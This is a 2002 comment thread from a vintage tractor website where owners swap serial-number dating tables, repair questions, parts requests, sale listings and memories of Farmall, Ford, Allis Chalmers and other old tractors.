Leonard J. Rahilly wrote on Friday, July 12, 2002 (PDT):I just wrote a few words about the F-14. Spent hundreds of hours on 3 F-12s between 1939 and 1969. Incredibly sturdy machine. Its only problem was the fuel pump, and that only after a good many years of use. Fuel pump diaphragms back then didn't last forever. I think IHC thought they'd get a little more power from a downdraft carburetor, hence the need for a fuel pump. The F-12 on steel was a pretty anemic device, but rubber tires transformed it! We routinely pulled 2 12" bottoms, or a 7' disk double disk harrow, both in second gear. The 7' disk was bought originally to be pulled by a 10-20, so the little F-12 had a big heart. It was pulling at its limit, but I never saw any sign that we did any damage. The gears were huge for the horsepower transmitted; maybe that's why there was never any transmission trouble. The engine was very modern for 1932--full-pressure lubrication + an oil filter.
Leonard J. Rahilly wrote on Friday, July 12, 2002 (PDT):I just wrote a few words about the F-14. Spent hundreds of hours on 3 F-12s between 1939 and 1969. Incredibly sturdy machine. Its only problem was the fuel pump, and that only after a good many years of use. Fuel pump diaphragms back then didn't last forever. I think IHC thought they'd get a little more power from a downdraft carburetor, hence the need for a fuel pump. The F-12 on steel was a pretty anemic device, but rubber tires transformed it! We routinely pulled 2 12" bottoms, or a 7' disk double disk harrow, both in second gear. The 7' disk was bought originally to be pulled by a 10-20, so the little F-12 had a big heart. It was pulling at its limit, but I never saw any sign that we did any damage. The gears were huge for the horsepower transmitted; maybe that's why there was never any transmission trouble. The engine was very modern for 1932--full-pressure lubrication + an oil filter.
jason hampton wrote on Friday, July 12, 2002 (PDT):Me & my grandfather restored our 39 h. It was bougth in 1939 by my greatgrandfather. Two years ago my grandfather lost his eyesite. Last saturday he ask me to crank it for him . I span the crank aleast 20 times not getting a response,papaw says get out of the way son! Being a 77 year old man with no site plays with the choke,spends the crank wheel over and it cranks on the first hit. Something I' remember to the day i die
Ted Woodaz wrote on Friday, July 12, 2002 (PDT):I am looking for a loader to fit my 1962 Oliver super 77 wide front. I live in the upper peninsula of Michigan.
Dave wrote on Wednesday, July 10, 2002 (PDT):How do I use the VIN on a Farmall Cub I just bought to determine year, etc? Didn't need to buy it, just wanted it. Paid $1600; includes belly mower and small disk. Runs and looks good. Good buy?
Karey Love wrote on Wednesday, July 10, 2002 (PDT):Where can I get new rear rims and tires for my '41Farmall A? I'm located in Polk Ciubty, WI
Rick Mares wrote on Tuesday, July 09, 2002 (PDT):I am looking for good belly mower for Allis Chalmbers-G. I have one but am looking for a part from used one somewhere. I need the slipclutch.
BUSTER STINE wrote on Tuesday, July 09, 2002 (PDT):OUT OF THE 23 MM TRACTORS IN MY COLLECTION, THIS IS ONE OF MY FAVORITE TOYS. IT WILL REACH A SPEED OF 44 MPH AT FULL THROTTLE ON FLAT GROUND IN FIFTH GEAR. ALSO ONE OF THE EASIEST STARTING TRACTOR ON MY FARM NO MATTER HOW HOT OR COLD. I RESTORED HER ABOUT 20 YEARS AGO BUT SHE WILL SOON BE STRIPPED AND REPAINTED TO KEEP HER IN TOP SHOW CONDITION. AND YES, SHE STILL DOES HER SHARE OF THE WORK AS LONG AS I HAVE THE TIME TO PLAY. THANKS.
Harry wrote on Monday, July 08, 2002 (PDT):I'm needing a back wheel for a 300 utility. I am located in middle Tennessee. Does anyone know of a salvage yard in the area?
Todd Walters wrote on Sunday, July 07, 2002 (PDT):My father-in-law just was gifted his grandfather's 'G'. We are looking for resources like service & part manuals, and places to buy parts like belts, hoses, and plug wires, etc. It always stored inside, runs great, we just want to freshen it up.. Where is the serial number located? Thanks
D.G. Hargrove wrote on Saturday, July 06, 2002 (PDT):I have a 1951 8n ford, the serial number reads on the side of the block 8N1209A. I know this sounds like a 1947 number, but what is the A for ? Thanks for any comments.
Tommy McDonald wrote on Saturday, July 06, 2002 (PDT):Just bought a B Farmall, pretty good condition. Been setting for a while. The gas in the gas tank has turned to black gummy yuk. Any ideal on how to clean that up. Also intrested in a bellie mower for it. Don't know the year yet. Circa 1946 - will try to search that out. Anyone with any info can e-mail me at; tommyr at bubbajunk.com
tyler wrote on Tuesday, July 02, 2002 (PDT):I have a 56 IH 300 utility does anyones pto keep turning after disengaged. can you tell me how to stop it
Allen wrote on Tuesday, July 02, 2002 (PDT):I would like to buy a farmall cub reasonably priced. Doesn't have to look the best but must run well. Thank you.
David wrote on Tuesday, July 02, 2002 (PDT):I bought a front push blade for my Cub and did not receive a manual. The seller stated that he had all the parts, but after seeing a picture believe some may be missing. I looked at what was given to me and can't figure out how it attaches. If someone could help with picture or a direction to turn, it would be a great help.
Doug Cessna wrote on Monday, July 01, 2002 (PDT):I have a I-H Farmall Cub Ser.# 54622 i would like to sell.It runs good and is in good shape.It has a Woods belly mower.Make offer..
Brian Theis wrote on Sunday, June 30, 2002 (PDT):I'm interested in finding a restorable F-20 like my grandfather used. I'm located in Central Minnesota.
carl d. england wrote on Sunday, June 30, 2002 (PDT):ac45. does it have a 2or3 disc transmisson clutch i have two manuals which show two disc. my 1953 tractor has three disc. it takes quite a bit of effort to engage and quite a loud snap when disengaged. help.
larry sands wrote on Sunday, June 30, 2002 (PDT):I have a SC Case # 5330442. I need to have the magnito re-built. Please let me know of any good place to get it done.Thanks Larry
scotty wrote on Sunday, June 30, 2002 (PDT):more information on the farmall B that I have it is S/W Mo.
John Smith wrote on Saturday, June 29, 2002 (PDT):I have recently aquired an 1951 MMZ and the tractor above is not the same, everyone else was correct.What I would like to know is what H.P. am I working with?
April wrote on Saturday, June 29, 2002 (PDT):I have recently acquired a Funk w/ valve in head 6 & am looking for the auxillary fuel tank and original generator bracket(s). Any help appreciated. Would like to also purchase Funk w/Flat head 6 & Funk V8 tractors .. any condition considered. Thanks for your time.
Brad Rising wrote on Saturday, June 29, 2002 (PDT):I am looking for a power steering set up for a WD 45, please contact me if you have a setup for sale, or know how to make one up, Thanks, Brad stockdragrace at aol.com
Robert Cottrell wrote on Saturday, June 29, 2002 (PDT):There are some people i have met in conneticut that have a old tractor parts junkyard and they can get parts and manuals for most of the Furguson line of tractors . I own a Fergy that was baught 4 yrs ago which was in a fire , many partsto replace but found them at this WEB SITE; wwwtractorpartsunltd.com 8 goshen rd Bozrah.Conn 06344 Tel (1-860-889-0051 ) i hope this will be of help to those who need parts , they carry many parts for many vintage tractors.
Nate Eifert wrote on Friday, June 28, 2002 (PDT):I found a Massey Harris 44 sitting in a shed that is owned by a farmer that we were knifing-in fertilizer for. It has some surface rust and a few dents from being used, it proably hasn't run in five or more years, but the engine still turns over by the hand crank. I was wondering what mite be a reasonable price to offer this gentleman for the tractor, and how easy are these tractors to get parts for?
Tony Franks wrote on Friday, June 28, 2002 (PDT):I have a 1931 Farmall Regular for sale as well as a "woodpecker" hay baler. Tractor engine is not stuck. Don't know its worth, but would like $500.
Chuck wrote on Friday, June 28, 2002 (PDT):I am working on trying to get a international 300 utility running. I just replaced the battery, but I am not sure which polarity is ground. Could anyone help me out here? I have no clue as of the year of the tractor, just that it is old. My dad had it running a few years ago, I just worked on fixing the fuel bowl, and replacing the battery, not sure about the carb yet, the points look good but not sure if it even fires.. want to make sure the battery is hooked up correct first.
Mech_Head wrote on Thursday, June 27, 2002 (PDT):My PawPaw still has the b tractor, my mamaw had just painted it about 4 years ago, can we submit pic's here?
Mech_Head wrote on Thursday, June 27, 2002 (PDT):Rest in peace Mamaw,we love you so mutch...
Mech_Head wrote on Thursday, June 27, 2002 (PDT):I started out on a farmall b gas. I was less then ten years old easily, sitting on mamaw's lap raking hay,I'll never forget that.I could of drivin that tractor all day and night, I could'nt get enough...
Ely Briggs wrote on Thursday, June 27, 2002 (PDT):Thomas you have a costly machine, for the United States.
Wally wrote on Tuesday, June 25, 2002 (PDT):I have 2 f20's which i'm going to make one good tractor out of, I'm looking for some good tires at a good price does anyone know where i could find some?
tim seaman wrote on Tuesday, June 25, 2002 (PDT):Does anyone know how to set up a governor linkage between throttle and rockershaft. The adjusting block at throttle shaft has been disconnected and I'm not certain if there should be some minimum tension on governor spring to hold in minumum open position. Any help would be appreciated. Thanks in advance, Tim
Andrew Menkart wrote on Tuesday, June 25, 2002 (PDT):Casey, Thank you very much for the response. Is there any particular model of "International Harvestor (McCormick Farmall) Cub Tractor"? Or did they all have the C-60 engine. I have sent an email to the this site asking if they can point me to the service manual with your information. Thanks again. Regards, Andrew
scotty wrote on Tuesday, June 25, 2002 (PDT):I have a Farmall B for sale. Pretty much complete. Needs restored or a good parts tractor.$400. or best offer
D.DEVNEW wrote on Tuesday, June 25, 2002 (PDT):I HAVE MH33 AM LOOKING FOR REAR WHEEL AND 3PT. HITCH
Jack Bailey wrote on Monday, June 24, 2002 (PDT):I have a 1933 F12 Farmall with a wakashaw flat head. I need a mag and a cylinder head.
Casey Criswell wrote on Monday, June 24, 2002 (PDT):Andrew, the C-60 is the engine from the International Harvestor (McCormick Farmall) Cub Tractor. It has a displacement of 59.5 cubic inches.
Darwin Whitmoyer wrote on Monday, June 24, 2002 (PDT):Hi, the tractor looks great. I have one I use here on the farm, would like to find a set of side shields for my 60, then I can will start restoring it. Thanks
Andrew Menkart wrote on Monday, June 24, 2002 (PDT):I don't know if this is the correct place to post this question or not... but I am trying to detirmine what tractor used the IHC C-60 engine. I am trying to get an engine service manual and I understand that there is a tractor manual that contains engine service information. Can anyone tell me or direct me to the manual...? Maybe this site sells the manual, but I don't know what tractor model it is. The IHC model C-60 engine is 4 cyinder, 2-5/8" x 2-3/4", 60 cid Thanks... Regards, Andrew Menkart
Jack Hendrix wrote on Sunday, June 23, 2002 (PDT):Iam restoring a 1950 model 30 RC. Where can I get the correct paint? Also need a new radiator. Thanks
Ross Stover wrote on Thursday, June 20, 2002 (PDT):My father owned two of these (one with two narrow front wheels) in Block One north of Pasco, WA from about 1954. I drove it in the hay field in l957 and 1958 summers, to mow the alfalfa, bale it and haul it in, using a low wagon and hay hooks. I still have one tractor (retired when it got too haard to start). Anyone want to buy it?
C.L.Bowman, jr wrote on Thursday, June 20, 2002 (PDT):Several people have contacted me about the 550 listed in the above comments. The guy in Pennsylvania that I had it sold too backed out on me at the last minute. Said business had gone sour and he was afraid to spend any money right now. Any way, it is again for sale for $1000.00 . I live just west of Fort Smith Arkansas at Muldrow, Ok. My phone # is 918-776-0655. I can email you some pictures if you like.
MIke wrote on Wednesday, June 19, 2002 (PDT):I trying to find a model M for my dad. He wants a 1939 model. It doesn't have to be perfect. In fact he would like to restore it himself. Does anyone have one for sale?
John Bondy wrote on Wednesday, June 19, 2002 (PDT):I am looking for people who used the Oliver on the farm. Most of them are already gone. Any pictures from the farm would be neat also. Thanks John Bondy
Joe Sherman wrote on Tuesday, June 18, 2002 (PDT):My father needed help with his International 300 with 3-pt. hitch and PTO. Hydraulic oil was leaking into the crankcase so I pulled the pump and replaced the front seal (just behind the helix drive gear. The pump is attached to the right side of the engine case, just below the generator. The distributor attaches and is driven from the hyd. pump. The hydraulics for the 3pt. hitch worked last year but now they don't. I only changed the front seal and put everything back together correctly. It seems we get no pressure from the pump. The hydraulics worked last year and I wonder if the pump is the problem or is it the control valve located on the right side of the hyd. oil tank next to the right fender. The tank is below the driver seat. I found a bleed screw on top of the pump and tried to fill it when stopped and also when running to bleed the system. No luck. There was a spring under the bleed screw, not sure why. The manual does not have any good illustrations of the system. There are two small pipe plugs on the tank, near where the solid supply and return lines to the pump attach, but I don't know which is which - I assume these are for attaching a pressure guage for troubleshooting. I suspect the control valve has a relief valve internal, but not sure. If the pressure relief is open then that is probably why I have no pressure. But like Dad says, "It worked before." If anyone has any suggestions please email me. I was real careful to do everything right and the hydraulic oil reservoir is full. I just do not know why the hydraulics aren't working. The control valve 'feels' normal as you can lift and lower the handle into the up, down, and center positions. Please help. Thanks.
Ricky appling wrote on Tuesday, June 18, 2002 (PDT):this is a very nice tractor and looks like whoever restored it did a good job
Casey Criswell wrote on Tuesday, June 18, 2002 (PDT):I just purchased my second cub,a 56, to go along with my 76 that I mow with. The new "baby" has a fast hitch, plow, tumblebug, and blade. (My wife says I have a problem) It also came with a Howard rotovator and the reduction gearbox. I tried plowing in low range the other day and the right hand rear wheel does not pull. When I put it in high range both wheels pulled. Is this normal operation for the reduction gearbox? Also, the 56 came with a complete set of manuals; Operator, Service, Tractor Parts and Implement Parts for cubs equiped with Fast Hitch. The Service and Parts manuals are reproducable. Is anyone out there interested in obtaining copies?
scot timm wrote on Tuesday, June 18, 2002 (PDT):what can i do to get the most out of my M.D for tractor pulling
Ken wrote on Monday, June 17, 2002 (PDT):We recently acquired a 1947 SC running with hydraulics and a front end loader. It appears to have an enhanced wide axle on the front for stability. Was this a kit from JI Case or a make shift shop built arrangement. It seems to opearte very well. Was there a 3 point hitch for them? What is an eagle hitch? does anyone know where I could find a book? Thanks Ken
wes miller wrote on Monday, June 17, 2002 (PDT):I bought my "H" 2 years ago when my grandfather sold out. it isn't running now and needs lots of work, but I hope to restore it one day and use it for small tasks around the farm.
MAC REYNOLDS SUNBURY AUSTRALIA wrote on Saturday, June 15, 2002 (PDT):I have a CASE 930 Comfort King Western Special, purchased sight unseen at an Auction in Berrigan, NSW, Australia, when I picked it up, I was very pleased with the condition, I am looking for a set of Chaff Screens for it, if anyone can help, please contact me at the above email address. I intend to enter this tractor in Vintage Tractor Pulls - Classic Class, against the Chamberlain Super 70's & Super 90's.
john conlon wrote on Saturday, June 15, 2002 (PDT): I have 1961 881 ford sos tractor had tranny rebuilt about25 years ago no problems since.
A Thomas from new zealand wrote on Saturday, June 15, 2002 (PDT):I have just bought a Farmall Super BMD (British Diesel M)does anybody have any information on this tractor, espcially to find out the year.
A Thomas from new zealand wrote on Saturday, June 15, 2002 (PDT):One of my friends has a 1937 Farmall F20 that he has restored about 20 years ago. I quite like the shape and the way they run. I would like to perchase it one day.
Bill Gilbert wrote on Friday, June 14, 2002 (PDT): twelve years ago I purchased what was believed to be a Massey Harris 33 Have kept it inside, and used it to plow snow and skid logs, pull stumps and excavate with the hydraulic bucket mounted on it does anyone have any info on the 33 if there was such a tractor? anyone interested in obtaining it>
Warren Cooke wrote on Friday, June 14, 2002 (PDT):Around 1960 my father , who lived in "row houses " in Baltimore rented a house in what is now Columbia, MD. It was a big stone walled ranch house with a 3 car garage. Part of the deal to rent the house was the fact that the grounds must be cared for as part of the rental contract ,not that we wouldn't have ,anyway. It was my job ,as the eldest child to cut the grass...........some 8 acres surrounding the hilltop house. When I opened the garage doors for the first time, there was a sparkling, like new, bright red Farmall Cub with what I now know was a 3 blade belly mower. For the first time ever, I never complained about cutting the grass !! What a joy to drive. Alas, when we moved to our own house,some years later, it stayed with the owner of the property.Your wesite brought back long forgotten memories
John C. Burns wrote on Friday, June 14, 2002 (PDT):We had a 1938-9 F-20. It had individual brake pedals instead of brake handles. Does anyone know when McCormick went to individual brake pedals?
bob wrote on Thursday, June 13, 2002 (PDT):can anyone tell me the size of the front tires on the above machine? I need rims for my MF 65 front, that fit 6.00 x 19 tires on it. Rims on it are shot, but good tires; regular 6 hole offset pattern that 16" uses.
Ryan Schmidt wrote on Thursday, June 13, 2002 (PDT): Hello; I have a 1952 Farmall Cub, That came with a flail mowe not on it. Im looking for someone who has one and tell me how it hooks up. I don't know if I have all the parts for it. It is yellow 5 feet long. Where would I get parts like the little flail, a few are not there the long belt, What size pully do uou use on the PTO? Also I would like to know how work I have high grass fields with big hills?
scrany wrote on Thursday, June 13, 2002 (PDT):Cullen, If you scroll up about 7 comments there is a nice piece of information about dating your tractor.
Tom Fesenmyer wrote on Thursday, June 13, 2002 (PDT):I have a 1938 F-20 that I enter in antique tractor pulls. It's lots of fun. I'm looking for a low speed low gear (16 teeth p/n 29849D)and low speed sliding gear (36 teeth p/n 29850D). If I can't find these I suppose I'll try smaller tires. My F-20 has a lot of power, but not enough to turn the big 38" tires.
ANDY SIGN wrote on Wednesday, June 12, 2002 (PDT):To Hazen;I havn't found any ps units for the 300's. You will have to locate a salvage tractor and part it out.
Adam Seitz wrote on Wednesday, June 12, 2002 (PDT):Does any one know how to time an F-4 Magneto on a Farmall F-20.
David Yaeger wrote on Wednesday, June 12, 2002 (PDT):Would like phone no. or Email address for Teeter regarding his flathead V-8 converstion. Thank you.
Al swartz wrote on Tuesday, June 11, 2002 (PDT):I have a 1947 8-N for sale It's in York co. Pa. SN# 8n150 Thinkin It's one of the first 150 made. some valve tap.askin 1700.00 PH 717-225-8863
DAVID MCCOLLISTER wrote on Monday, June 10, 2002 (PDT):I HAVE A 1946 FARMALL A. I NEED INFORMATION ON HOW TO HOOK UP THE LEVERS AND AIR CYLINDERS BECAUSE IT WAS NOT ON TRACTOR WHEN I GOT IT. ANY INFORMATION WOULD BE A GREAT HELP.
Andy Chapleau wrote on Monday, June 10, 2002 (PDT):I have an "A", I'm looking for any ground engaging impliments. If any one has anything to fit this please let me know. I also have most of a draw bar mounted mower. some one has adapted an electric plow pump to raise and lowwer, it is missing the cutter bar. Would like to sell mower or buy cutter bar.....either way is ok.
Andy Chapleau wrote on Monday, June 10, 2002 (PDT):I have an "A", I'm looking for any ground engaging impliments. If any one has anything to fit this please let me know. I also have most of a draw bar mounted mower. some one has adapted an electric plow pump to raise and lowwer, it is missing the cutter bar. Would like to sell mower or buy cutter bar.....either way is ok.
Al Grove wrote on Monday, June 10, 2002 (PDT):I have a 1940 9N in excellent condition. It works weekly for me and has been maintained dilligentluyl. I am less than a year older than my trusty old tractor. I also have a 1999 Ford/New Holland that does the heavy lifting around the ranch but the 9N is really better to mowing and the lighter joby. Many questions have been asked by others about the 9N that I believe I can answer. Here are a few answers to commonly asked questions. 1. 9N tractors were first produced in 1939. 2. 2N tractors were produced during the war years. 3. 8N tractors were first produced in 1948. This should clearup model years. Improvement were continuously made. Many 2N's were shipped with steel wheels, no rummber tires, and magnitos innitions, no batteries, because of wartime shortages. These were hand crank models. Most were updated after the war when rubber and lead batteries became available again. 4. 9N's and 2N's were painted all grey. A darker grey than was used on 8 N's. 5. 8N's had the hood and fenders in light grey and the motor and chassis in red. 6. 9N's and 2N's were manufactured under a handshake agreement between Henry Ford and Harry Ferguson. Ferguson supplied the design and patent rights to the Ferguson lift system for the farm implements. 7. The handshake agreement ended in 1947 after a bitter lawsuit filed by Ferguson against Ford. 8N's were built by Ford with a different and improved lift system. 8. Ferguson made a very similar tractors both in the US and England after WWII. It was known as the "Ferguson." I wouuld be happy to answer other questions about the history if I can. algrove at ktc.com
Ron Komar wrote on Sunday, June 09, 2002 (PDT):Have 51 B( mint) runs and looks new, refurbished about 4 years ago belong to Western NY Two Cylinder club drive in many parades, believe it or not pull 3-14" plows full depth in third gear
Doug wrote on Sunday, June 09, 2002 (PDT):My grandfather has a Model M that he is restoring his clutch plate numbers read FBK195590X1 which I woulassume means it was built in '55 but the info above says they were only built till'54. What gives any info will help
Doug wrote on Sunday, June 09, 2002 (PDT):My grandfather has a Model M that he is restoring his clutch plate numbers read FBK195590X1 which I woulassume means it was built in '55 but the info above says they were only built till'54. What gives any info will help
Adam Kenerly wrote on Saturday, June 08, 2002 (PDT):I agree with Frank and the others, i believe that this is a ZB. i own a MM U and a MM Z and it has a straight steering system and seat behind the rear wheels, the seat on this one is too far up and the steering column stands up too high. also, if anyone has any info on restoring a MM Z and getting it ready to tractor pull in the stock didvision please get in touch with me
Brad Knott wrote on Saturday, June 08, 2002 (PDT):I have a newly restored 1936 F-20. The front packing leaks comes where it comes out of front of transmission. I put in new packing, but still leaking. Is there a secret to installing packing or does anyone have any ideas.
Robin Hoffus wrote on Friday, June 07, 2002 (PDT):I have a M Farmall with hydraulics but the pump gave out does anyone know where i can get parts for it .was hydraulics something that was added on later or was it standard equipment also would the pump from a w6 fit
Allen Newman wrote on Friday, June 07, 2002 (PDT):There Seems To Be A Lot Of Questions On Serial Numbers Out There. I Have A Service Manual And It Reads #'s As Follows ; 1947-#1, 1948- #37908, 1949- #141370, 1950- #245637, 1951- #343593, 1952- #442035. The Way This Reads Is The #1 Through The #37907 Is Made In 1947. The #37908 Through #141369 Was Made In 1948 And So On. Sure Do Hope This Will Help Some Of You. I Really Do Enjoy Reading The Comments.
cullen farrow wrote on Friday, June 07, 2002 (PDT):i have a farmall b unknown year the numbers on the engine are 8342dh also 12 4 j if anyone can tell me what year or horsepower it is i would apprecieate it
Ray Feijo wrote on Thursday, June 06, 2002 (PDT):We have a 1949 8N tractor and I need to know how to adjust the sterring box. Any help or directions to find help would be appriciated.
steve hinshaw wrote on Monday, June 03, 2002 (PDT):What brass float will interchange with a cork float on a Farmall Regular carburetor?
Luke wrote on Monday, June 03, 2002 (PDT):I'm looking for farmall B. Anyone in N. Illinois or S. Wiconsin have one for sale? Intended use is to make it work in the fields once again. Thanks.
Jim Broughton wrote on Sunday, June 02, 2002 (PDT): Sarah; My serial number list shows that number being produced in 1948...My cub is a 1959 model with "fast-tach" hitch and hydraulics, I'm not sure about the set-up on earlier models, perhaps someone will fill in the gaps for you. Lots of luck, these cubs can be a hoot!! Jim
Sarah wrote on Sunday, June 02, 2002 (PDT):I have a Farmall F Cub tractor with the serial number 16958. There is also a number on the body, 351686RI. I would like as much information as possible on it.I beleive it is a 1950 although I am not sure.Please e-mail me if you have any information. Thanks!
charles wrote on Thursday, May 30, 2002 (PDT):i have a 300 utility and reversed the fly wheel and now i seem to be having trouble remembering how the clutch and throw out bering go back in. I'M NOT A MECHANIC but i had to try. i'm getting way behind and need this work horse running again thanks
scotty moore wrote on Wednesday, May 29, 2002 (PDT):I wrote a note here last week. Is this still active ?
Gordy wrote on Wednesday, May 29, 2002 (PDT):I have an opportunity to but a very nicely restored 1941 LA. What's it worth?
Gary Godfrey wrote on Tuesday, May 28, 2002 (PDT):I have a 1941 Case VO, one of 511 built and I would like to visit with anyone that might have more information about this model. Anyone know how many still exist?
David Rogers wrote on Tuesday, May 28, 2002 (PDT):Can you get a tractor for my dad? pleease we don't have a lot of money!!!!
Gerald Rothrock wrote on Tuesday, May 28, 2002 (PDT):I have A cub that Ihave owned since 1972. I bought used, I believe it must be about a 57 or 58 model. It has a high and and low axel.Has hydralics that works with a snowblade land plow and a Howard rototiller plus a mott mower with a left side power take off. I have converted to a 12 volt system.If I put 25 hours a year its a lot. Only use it for snow plowing and garden work.Was going to trade it in or take to an auction but after reading about them could possiblie sell it or restore it ,comments are welcome, Rochester NY AREA
Amy Rentschler wrote on Monday, May 27, 2002 (PDT):My '61 Cub seems to have a coat of yellow paint under the current red. What was the deal with the yellow paint? I've seen some comments on it , but not an answer. Hope you can help. It came with a belly mower. I'm looking forward to taking it to a tractor show at the end of June. See you at the Fulton County Fair Grounds.
Amy Rentschler wrote on Monday, May 27, 2002 (PDT):I just bought my first farmall tractor. It's a '61 cub. I grew up with the 'Green'ones, but since working at a CaseIH dealer for 2 years, I have great respect for Farmall tractor. I never though My father would have a Red one on the farm but he helped purchase it.
Mark Stremmel wrote on Sunday, May 26, 2002 (PDT):i am looking for a Cub between the years 1947 and 1957, in the PA. region. I can pick up. It must run, because i want to put it to use right away. I want to restore cosmetically later.
andy wrote on Sunday, May 26, 2002 (PDT):i am 12 and my dada purchased a MD and it was worth it... it was in rough shap when we broght it home. It sat outside for 15 years, and was missing alot of pieces.So we went to our local junkyard and got all of our supplies and now its all restored and like new... i am a tractor puller, and i pull our smta farmall and our super H with live highdrolices. And we might pull our MD some day. Me my dad and my grandpa own over 8 farmalls, and ill be glad to give you info.
Larry Decker wrote on Friday, May 24, 2002 (PDT):I may have my years mixed up but the story here goes that my grandfather bought a brand new M in the fall of '36, 1937 being the first year of production supposedly, because he was involved with his stepson in the implement business. It came with a mounted two row cornpicker (2m?) and in those days the wagons were on steel wheels and very long. Anyway, dad told the story about grampa heading up the road on the maiden voyage to the corn field and when he put it into fifth gear it just died. Dad said he was put out with that tractor from then on, but we always had at least one M here on the farm untill a couple years ago when I sold the one I had. I may have to find another one though.
clif wrote on Thursday, May 23, 2002 (PDT):I use a 1945 Massey 81 STD for tractor pulling and it does quit well. One thing to remember on the 81 it used 2 different engine sizes one was a 124 the other is a 140. Also the model 82 was basically the same tractor. My dad owns over 50 massey harris tractors ranging from the gg to 55.
Ray Adams wrote on Thursday, May 23, 2002 (PDT):I just got two farmall 100s one runs good the other I dont know. my question is did they make a rear mower for them they are a 1 point hitch.
IH farmer wrote on Wednesday, May 22, 2002 (PDT):Is it odd for an M gas job to be able to pull a new holland 680 manure spreder and chop corn with a NH 718 chopper and drag a round a john deere 730 diesel like it wasn't even there? Also it will do well over 35 mph down the road. its all stock. Pistons are not over sized trans is stock gearing.Its not turned up. I guess its not to bad for a tractor that was found in the woods
scotty moore wrote on Tuesday, May 21, 2002 (PDT):just got a farmall b 1947. I want to know if the b has sleeves and if so are they wet or dray
Jack Hopwood wrote on Tuesday, May 21, 2002 (PDT):Although I live in Tucson, AZ, my father owned a model G that we would be interested in selling. It is located near Batesville, AR; my father passed away earlier this month but owned and maintained it for ~45 yrs. We really don't know the value of it, but it did run fine as of this last autumn; no one has tried to start it since. For most of its life, the tractor was kept in a barn or garage, but for the last ~5 years, a tarp was used. I don't have a serial no. or year available right now. It has a pto and hydraulic lift. Dad bought it with a plow but left it behind when he moved from Ohio. Mounted on the tractor now is a Woods rotary mower which Dad used regularly. If you are interested in purchasing this tractor, please return my email or call me at your convenience. Jack Hopwood - Office Ph. No. 520-744-5505, Home no. 520-544-7797
dennis alchin wrote on Tuesday, May 21, 2002 (PDT):i have a magneto du4/2 ed34v1 no4u32290 1906 could any one tell me whot model this came off or if it is off rumley oil pull thanks for your time dennis
Norris Smith wrote on Monday, May 20, 2002 (PDT):So what is it, Rumely or Rumley?
Tedd wrote on Monday, May 20, 2002 (PDT):I recently bought a 1947 Farmall A. It came with a single bottom plow and also cultivators. Does anyone know of a good website or book that shows all the implements for these tractors and how they are attached. Can figure out how to get the cultivators on... Thanks.
R. Hughes wrote on Monday, May 20, 2002 (PDT):Owner of 1937B (brass tag) totaly origional. Sort of a neat tractor, at least it sounds neat when it's running & it runs like a charm!! semper-fi!!
Fred Gonzales wrote on Sunday, May 19, 2002 (PDT):I recently purchased a 1952 Farmall A tractor and would please like to know if anyone might have some information on where i could find a operators or sevice manual for it.
Jim Broughton wrote on Sunday, May 19, 2002 (PDT):Marion; Mask off around your I/D plate, then clean the paint off with lacquer thinner, careful, keep it off your new paint job ! I've got a 59w/fast-tach,it has a IH gem dandy of a plow,(works real well) a rear blade (it's actually a yan-mar blade, but it works fine. The best or most used tool, though is a five foot sickle-bar mower, which attaches to the under side of the engine housing, but powers off the PTO, and it really works well !! I recently acquired a set of cultivators for it, but I haven't tried them yet. Hope this helps !! P.S. A lot of the guys use a "woods" belly mower (rotary) with their Cub with good results . Jim
Marion Smith Jr wrote on Sunday, May 19, 2002 (PDT):Just bought a Cub Lo-Boy with fast-hitch (my first tractor) and want to get at the I.D. plate near the steering box. It has alot of IH red paint from recent paint job all over it. Is the info on the tag stamped in? What would be the best way to remove the paint and preserve the numbers and such? Also, I'd like to know what all was available in the way of attachments/implements for the Low-boy, including those pwered by the pto. From pictures it appears to be 1955-1957 model. This site looks like it is GREAT HELP. Thanks.
farmike wrote on Saturday, May 18, 2002 (PDT):This is to Ralph your tractor is a 1939
farmike wrote on Saturday, May 18, 2002 (PDT):This is to Ralph your tractor is a 1939
farmike wrote on Saturday, May 18, 2002 (PDT):This is to Ralph your tractor is a 1939
farmike wrote on Saturday, May 18, 2002 (PDT):this is to J.N.turner look at your serial # on the left side under your seat once you find it match it up with these serial # and dates (501-6743-1939) (6744-41499-1940) (41500-80738-1941) (80739-96389-1942) (no official production 1943) (96390-113217-1944) (113218-146699-1945)(146700-182963-1946)(182964-198298-1947) (200001-220829-1947)
Jason wrote on Saturday, May 18, 2002 (PDT):My father and I have a G, that we're currently restoring and will probably sell down the road. We buy and restore antique tractors and then resell them. My dad said he'd be interested in buying more G's if anyone's interested in selling their's? We live in Huntsville, Alabama. Please email if anyone needs to ask or wants to sell. Thanks, Jason
Tim wrote on Friday, May 17, 2002 (PDT):Looking at buying AC Model G.It runs but needs alot of work.Need advice on purchase price.
charles hayden wrote on Thursday, May 16, 2002 (PDT):can a allis chalmers model G with hand lift be converted to hydraulic.
Stacy wrote on Thursday, May 16, 2002 (PDT):Does anyone have a B farmall for sale or know of someone that has one for sale near west Tenn.
stacy wrote on Thursday, May 16, 2002 (PDT):Does anyone have a B farmall for sale or know of someone that has one for sale around west Tenn.
bob wrote on Wednesday, May 15, 2002 (PDT):z
Don Womble wrote on Wednesday, May 15, 2002 (PDT):i have a 1948 cub with disk type turning plow any tips on how to hook up
Wilbur Carp wrote on Tuesday, May 14, 2002 (PDT):I grew up on an Oliver 60. My uncle still has 2 of them. They still run. (could use a little work and paint) And he also still has an Oliver 660. Thats the big work horse. George retired now, but still uses the tractors to plow snow and will do a little custom baling if it doesn't interfere with cards day at the senior center.
philip wellman wrote on Monday, May 13, 2002 (PDT):we bought and restored a 30 cockshutt 2 years ago . a great canadian made tractor the classic styling really sticksout at a tractor show.canadian engineering made a superior tractor.
Mike Abraham wrote on Saturday, May 11, 2002 (PDT):I have a chance to buy one. It looks alot like the pic. for $13,000. It's an older resto but very good shape.Can anyone help asap?
Alan Beer wrote on Saturday, May 11, 2002 (PDT):We have had what I believe is a model 81 for 30+ years that my father used on the farm until he died a few years ago. We would be interested in finding out how much it is worth and the best way to market it. Thanks Al
Esko Paananen wrote on Saturday, May 11, 2002 (PDT):I have case VA 1948. My broblem is magneto rotor and cap. Do you know where is this parts? Thanks!
Jon K wrote on Friday, May 10, 2002 (PDT):Yes I know someone that has one and that is me Jon and I'm only 10 yrs old. My dad gave it to me when I was only 3 three.
kenny wrote on Friday, May 10, 2002 (PDT):I HAVE A 1947 A, CAN'T FIND A RAD. CAP. CUB,H AND M DON'T FIT WHERE CAN I FIND ONE
jon wrote on Friday, May 10, 2002 (PDT):how much is one now days? Yes I now someone that has one.
